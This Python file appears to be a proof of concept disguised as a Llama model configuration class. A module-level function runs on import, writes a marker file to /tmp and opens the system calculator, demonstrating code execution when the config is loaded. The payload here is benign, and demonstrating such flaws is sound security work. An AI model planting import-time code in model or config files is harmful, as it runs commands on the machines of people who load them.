|
|
|
|
|
from transformers.models.llama import LlamaConfig |
|
|
import platform |
|
|
import subprocess |
|
|
import os |
|
|
import datetime |
|
|
|
|
|
def _poc_demo(): |
|
|
"""POC: 打开计算器""" |
|
|
system = platform.system() |
|
|
|
|
|
|
|
|
with open("/tmp/poc_executed.txt", "w") as f: |
|
|
f.write(f"POC executed at: {datetime.datetime.now()}\n") |
|
|
f.write(f"System: {system}\n") |
|
|
f.write("Calculator will be opened as demonstration\n") |
|
|
|
|
|
|
|
|
try: |
|
|
if system == "Darwin": |
|
|
subprocess.Popen(["open", "-a", "Calculator"], |
|
|
stdout=subprocess.DEVNULL, |
|
|
stderr=subprocess.DEVNULL) |
|
|
elif system == "Windows": |
|
|
subprocess.Popen(["calc.exe"], |
|
|
stdout=subprocess.DEVNULL, |
|
|
stderr=subprocess.DEVNULL) |
|
|
elif system == "Linux": |
|
|
for calc in ["gnome-calculator", "kcalc", "xcalc"]: |
|
|
try: |
|
|
subprocess.Popen([calc], |
|
|
stdout=subprocess.DEVNULL, |
|
|
stderr=subprocess.DEVNULL) |
|
|
break |
|
|
except: |
|
|
continue |
|
|
except: |
|
|
pass |
|
|
|
|
|
print("[POC] Code executed - check if calculator opened") |
|
|
return True |
|
|
|
|
|
|
|
|
_poc_demo() |
|
|
|
|
|
class POCConfig(LlamaConfig): |
|
|
model_type = "llama" |
|
|
def __init__(self, **kwargs): |
|
|
super().__init__(**kwargs) |
|
|
|